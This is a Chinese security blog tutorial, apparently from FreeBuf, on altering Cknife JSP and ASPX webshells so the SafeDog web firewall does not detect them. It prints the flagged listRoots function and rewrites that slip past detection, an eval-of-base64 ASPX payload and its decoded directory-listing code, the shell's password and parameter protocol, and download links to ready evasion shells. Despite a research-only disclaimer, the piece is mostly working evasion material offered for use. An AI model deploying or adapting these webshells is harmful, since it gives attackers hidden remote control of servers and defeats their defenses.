免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
亲爱的Chora小伙伴在上文说过,他是一个有责任心的基佬,要手把手为大家(不)负责任的讲解如何使用Cknife。于是他挥动着小皮鞭,给了身为小弟(弟)的我24小时速成JSP、ASP.NET。在这种极度威逼利诱之下,我不负责任的攒出了绕狗第二式,内容过于冗长,还望请各位看官耐着性子,看一个渣农是如何利用Cknife过安全狗的(没办法,Chora牛总是太快,我秒不了)。
首先我们需要判断安全狗所拦截的代码是哪一部分。由于本人是Chora牛口中的“二号垃圾”(一号已经另有他人),所以采用了最笨的办法,一个函数一个函数删除来判断安全狗拦截的点在哪里。功夫不负有心人,第一个函数AA就被拦截了(还好不是最后一个,Bless God ~)。。。
当我删除AA以后,神奇的发现免杀了(废话,缺功能好不好!!!)。
显然问题在void AA函数中,那究竟void AA函数里面是什么内容呢?我们接下来继续看。
void AA(StringBuffer sb) throws Exception { File r[] = File.listRoots(); for (int i = 0; i < r.length; i++) { sb.append(r[i].toString().substring(0,2)); } }
从代码中我们可以看出AA函数主要使用的 listRoots 方法(喂~总不可能拦截的for循环吧,混蛋!),查看API(好吧,其实我是查的百度。。。又被雀儿牛羞辱了), listRoots() 是用来获取系统的根目录路径。在不同的系统测试结果如下。
Windows系统返回的是A:、C:…,而Linux系统返回的是/。
这里我们顺带稍微提一下cknife的jsp马儿的 执行流程 。其实我们的马儿是在原有一句话的基础上进行了少量的修改(按照我们的设想规范了一些参数)。这里以cknife.jsp的代码为例,在cknife中,主要有以下几个参数:
1、password 密码,大家都懂
2、action 对应的调用方法,也就是customsize中配置的各项内容,在JSP中为A、B、C等等,当然你也可以修改为其他名称,只要保证config配置文件与服务器端的马儿对应一致就可以了。
3、z1、z2 传递的参数,根据方法的不同可能为文件路径,文件名,数据库名、cmd命令等等。
当cknife调用文件管理模块的时候,其步骤如下。
1、获取当前文件路径,判断系统类型(L249 )。
String s =request.getSession().getServletContext().getRealPath(“/”);
2、获取系统根目录,如过为windows,绘制图像,列出盘符。(L250)
调用void AA
3、获取当前路径的所有文件,列出文件目录;(L255)
调用void BB
4、根据其他具体操作调用具体方法(读文件、读路径、写文件、上传、下载等等)。
其中,在第二步的时候使用到了void AA。完全不懂JSP代码的我只想到了两种思路,大牛们见(贱)笑了:
1、是否有其他相同或是类似功能的函数替代listroots;
2、对原有函数变形。
接下来我们就对上述两种思路进行分析。
我恬不知耻的又找到了度娘(又被雀儿牛一顿骂),发现了File.List()方法,该方法罗列当前file对象路径下的所有文件。测试代码如下图所示。
其实我们利用AA函数的目的只是为了获取系统盘符而已,如果我能够确定该盘符下存在文件内容,至少能够确定该盘符确实存在,所以我想到了直接枚举每一个盘符根目录的文件就行了。所以有了以下的渣渣代码。
String[] disk = { "a", "b","c", "d", "e", "f", "g","h", "i", "j", "k" }; StringBuffer sb = new StringBuffer(""); for (int m = 0; m < disk.length; m++){ try { String[] filelists = new File(disk[m] +"://").list();//列举盘符 if (filelists.length > 0) { sb.append(disk[m] + ":///t"); // 如果文件数量>0表示该盘符存在 } } catch (Exception e1) { // 如果异常提示该盘符不存在 System.out.println("can not visit disk " + disk[m] + ":"); } } System.out.println("存在的盘符为:" + sb.toString());
测试效果如下图,正常显示了盘符(不要问我为啥有H盘符,嘿~嘿~嘿~)
然后结合linux系统的特性,完整的代码如下:
String[] disk = { "a", "b","c", "d", "e", "f", "g","h", "i", "j", "k" }; StringBuffer sb = new StringBuffer("");//原代码中已声明实际使用中需要删除该参数 try{ String[] filelists = new File("/etc").list();// 是否存在etc目录推断linux系统 if(filelists.length > 0) { sb.append("/");// 如果文件数量>0表示该盘符存在 } }catch(Exception e){ for (int m = 0; m < disk.length; m++) { try{ String[] filelists = new File(disk[m] + "://").list();// if(filelists.length > 0) {//判断windows系统 sb.append(disk[m] + ":///t"); // 如果文件数量>0表示该盘符存在 } } catch (Exception e1) { // 如果异常提示该盘符不存在 //System.out.println("can not visit disk " + disk[m] + ":"); } } } //System.out.println("存在的盘符为:" + sb.toString());
将上述代码替换原有的void AA中的内容,再用狗狗查杀一下。
当然这种方法有一定的局限性:
1、对比原有函数, 会少了光驱等等无法读取的盘符 (虽然并没什么卵用)。
2、如果盘符名称 人为更改过 或者是 用户权限受限制 的话,可能无法识别到正确的盘符。
作为一个学渣,看到原来的代码中
File r[] = File.listRoots();
第一反应是新建一个File对象,从而替换File.listRoots的关键词。
File k = new File(""); File r[] = k.listRoots();
然后Chora牛笑我。。。这XX怎么可能过狗。。。
然而。。事实是真的XX就过狗了(哔了个狗)。。。
执行的结果也是正确显示
使用原有的JSP模式连接也可以正常执行,无需配置自定义模式。
所以,狗狗对jsp的一句话判断可能略显简单了一些,就是File.listRoots();。所以只要发挥你的想象力,能做的事情就很多了。(当然,前提能够在有狗狗的服务器上面写入你的小马马,所以各位大牛见仁见智啦) 。
最后我们简单总结一下,在测试过程中我们发现安全狗只是对Void AA进行了拦截,并没有拦截其他功能,即是说我们仍可以正常使用诸如命令执行、数据库等相关的功能(废话。。。大家都知道本来JSP就过狗!)。
上一文中,有小伙伴提醒补一个asp绕过的修改过程。其实原理都是类似的,我这里以ASPX的为例再介绍一下修改过程。
具体步骤如下:
1、你要会写 if语句 。如if(action=”Index”)。
2、代码完成。
what?什么鬼!!这就结束了?
是的,就这么简单,让我们慢慢来,这里以customsize自定义模式里的readdict读目录方法为例,首先查看Cknife的config.ini文件关于aspx的相关配置项如下。
Response.Write("->|");var err/:Exception;try{eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String("dmFyIEQ9U3lzdGVtLlRleHQuRW5jb2RpbmcuR2V0RW5jb2RpbmcoOTM2KS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoxIl0pKTt2YXIgbT1uZXcgU3lzdGVtLklPLkRpcmVjdG9yeUluZm8oRCk7dmFyIHM9bS5HZXREaXJlY3RvcmllcygpO3ZhciBQOlN0cmluZzt2YXIgaTtmdW5jdGlvbiBUKHA6U3RyaW5nKTpTdHJpbmd7cmV0dXJuIFN5c3RlbS5JTy5GaWxlLkdldExhc3RXcml0ZVRpbWUocCkuVG9TdHJpbmcoInl5eXktTU0tZGQgSEg6bW06c3MiKTt9Zm9yKGkgaW4gcyl7UD1EK3NbaV0uTmFtZTtSZXNwb25zZS5Xcml0ZShzW2ldLk5hbWUrIi9cdCIrVChQKSsiXHQwXHQtXG4iKTt9cz1tLkdldEZpbGVzKCk7Zm9yKGkgaW4gcyl7UD1EK3NbaV0uTmFtZTtSZXNwb25zZS5Xcml0ZShzW2ldLk5hbWUrIlx0IitUKFApKyJcdCIrc1tpXS5MZW5ndGgrIlx0LVxuIik7fQ%3D%3D")),"unsafe");}catch(err){Response.Write("ERROR/://"%2Berr.message);}Response.Write("|<-");Response.End()
简而言之,就是 eval 执行了一段 base64 编码的内容,这属于一句话里面最常见的通信形式。我们对 base64 的代码进行解密,为了阅读方便,调整了格式,内容如下。
var D=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["z1"])); var m=new System.IO.DirectoryInfo(D); var s=m.GetDirectories(); var P:String; var i; function T(p:String):String{ return System.IO.File.GetLastWriteTime(p).ToString("yyyy-MM-dd HH:mm:ss"); } for(i in s){ P=D+s[i].Name;Response.Write(s[i].Name+"//t"+T(P)+"/t0/t-/n"); } s=m.GetFiles(); for(i in s){ P=D+s[i].Name;Response.Write(s[i].Name+"/t"+T(P)+"/t"+s[i].Length+"/t-/n"); }
该段内容通过z1参数获取到文件路径,使用系统对象中的System.IO.DirectoryInfo()来获得文件路径下的文件信息,然后打印出来。由于一般情况下一句话的参数中经常会带有eval、execute,导致其特征过于明显。所以作为学渣的我想如果将这部分直接放在服务器执行的话,是不是就可以避免传递eval、execute等类似的关键词了呢?因此,我在服务器上的aspx文件中直接写入了上述内容,为了测试方便,我省去了base64编码~(机智又任性!)。
然后,再提一下自定义模式对接cknife的要点有以下:
1、对应密码,总不可能让谁都能使用我的shell吧。
2、对应的action名称,可自己更改。
3、参数z1、z2以及标识数据段的标识符(>|+data+|<)
PS:这里说明一下我的锅~z1、z2参数的名称也是可以更改的,只是我在一些功能的时候写的有问题(其实就是直接写死成z1、z2了),如果使用的时候遇到问题请见谅,这个在后续的版本中会进一步修复和优化。
最后我们参照上述三点整理我们的过狗文件,你是不是发现其实主要都在写if语句判断action内容…
具体的代码内容请见下一小节。
JSP下载 密码:f65g 1.jsp(已更新)
ASPX相关下载 密码:f65g cus.aspx
本文给大家讲解了如何通过最简单的方法,利用现成的一句话加上cknife的自定义参数配置来打造自己的绕狗脚本。大家从我使用的工具和截图可以看出:我真的是一个菜B!
上帝教会了我hello world,我却用他来绕WAF~。
最后谢谢Chora小伙伴和MS509里面其他小伙伴带我搅基,终于从写Hello World进步到会写if语句来绕狗狗了,么么哒!
*本文由melodyzx1撰写并投稿,本文属FreeBuf原创奖励计划文章,未经许可禁止转载